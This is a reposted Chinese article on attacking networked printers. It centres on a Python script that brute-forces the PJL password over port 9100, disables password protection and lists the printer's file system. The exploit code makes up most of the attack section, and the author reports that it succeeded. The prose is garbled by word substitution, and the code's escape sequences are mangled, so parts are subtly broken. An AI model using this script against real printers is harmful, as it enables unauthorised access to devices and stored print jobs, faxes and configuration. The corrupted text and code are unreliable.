加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

不行忽视的打印机裂痕研究

发布时间:2019-06-19 21:32:59 所属栏目:建站 来源:VoltCary
导读:一、媒介 颠末最近一段时刻测试,发明企业内网打印机存在多种裂痕,同时也常常被各人所忽略,因此才有本文的研究。当一台打印机毗连收集,可以举办端口扫描、读写上传恶意文件、反弹shell,相等于一台处事器。 常见进攻,信息泄漏,如会见内存,也许发明密

若打印机的9100端口向公网开启,在向打印机发送PJL指令之前必要对行使者的身份举办认证,认证措施的密钥长度为2字节(Byte),通过爆破可以将 PJL 的暗码安详掩护禁用,最终执行恣意PJL呼吁。假如直接通过9100端口执行PJL呼吁,声名存在未授权会见。

PJL是打印节制说话PCL的扩展。文章前面部门已经先容过,这里是针对认证PJL的爆破,不然无法行使PJL呼吁。危害:通过 PJL 除了可以或许查察和变动打印机状态之外,还可以对打印机内置的文件体系举办会见,进而可绕过暗码验证通过 PJL 对打印机内置的文件体系举办读写。文件体系包括靠山处理赏罚打印功课、收到的传真、日记文件和设置文件。

9100端口一样平常为JetDirect的端口,JetDirect固然是惠普计划的,可是浩瀚打印机都行使该软件,包罗Canon、Lexmark、Samsung和Xerox。该软件认真处理赏罚通过收集提交的打印哀求。收集打印机通过JetDirect协议,侦听,吸取打印哀求数据。

如下是PJL暗码存储名目:

  1. @PJL JOB PASSWORD=0  
  2. @PJL DEFAULT PASSWORD=12345  
  3. @PJL DEFAULT DISKLOCK=ON  
  4. @PJL DEFAULT CPLOCK=ON 

可通过 内存和文件体系读取获取暗码,或暴力破解。

爆破代码python3如下:

  1. import socket 
  2. import sys 
  3.  
  4. def main(): 
  5.     if len(sys.argv)<=1: 
  6.         print('Parameters error') 
  7.         return 
  8.     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  9.     s.settimeout(10) 
  10.     s.connect((sys.argv[1],9100)) 
  11.     s.settimeout(None) 
  12.     # 发送读取装备ID的PJL指令 
  13.     s.send(('33%-12345X@PJL INFO IDrn33%-12345Xrn').encode('UTF-8')) 
  14.     print(s.recv(1024).decode('UTF-8')) 
  15.  
  16.     for i in range(1, 65536): 
  17.         buf = b'' 
  18.         # 发送重置暗码的PJL指令 
  19.         s.send(('33%-12345X@PJL rn@PJL JOB PASSWORD=' + str(i) + 'rn@PJL DEFAULT PASSWORD=0 rn@PJL EOJrn33%-12345Xrn').encode('UTF-8')) 
  20.         if i%30 == 0: 
  21.             # 发送查询暗码掩护状态的PJL指令 
  22.             s.send(('33%-12345X@PJL rn@PJL DINQUIRE PASSWORDrn33%-12345Xrn').encode('UTF-8')) 
  23.             while True: 
  24.                 buf += s.recv(1) 
  25.                 print(buf) 
  26.                 try: 
  27.                     buf.index(b'rnx0c') 
  28.                     try: 
  29.                         # 暗码掩护被禁用 
  30.                         buf.index(b'DISABLED') 
  31.                         print('password disabled ok!') 
  32.                         # 发送查询目次的PJL指令 
  33.                         s.send(('33%-12345X@PJL rn@PJL FSDIRLIST NAME = "0:" ENTRY=1 COUNT=99rn33%-12345Xrn').encode('UTF-8')) 
  34.                         buf = b'' 
  35.                         while True: 
  36.                             buf += s.recv(1) 
  37.                             print(buf) 
  38.                             try: 
  39.                                 buf.index(b'rnx0c') 
  40.                                 try: 
  41.                                     # 查询乐成 
  42.                                     buf.index(b'ENTRY') 
  43.                                     print('PoC OK!') 
  44.                                     return 
  45.                                 except ValueError: 
  46.                                     print('PoC NO!') 
  47.                                     return 
  48.                             except ValueError: 
  49.                                 continue 
  50.                     except ValueError: 
  51.                         print('password disabled faild!') 
  52.                     finally: 
  53.                         s.close() 
  54.                         return 
  55.                 except ValueError: 
  56.                     continue 
  57.     s.close() 
  58.  
  59. if __name__ == '__main__': 
  60.     main() 

pft行使此剧本爆破:

image.png

返回password disabled ok!,声名乐成禁用PJL暗码掩护。

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读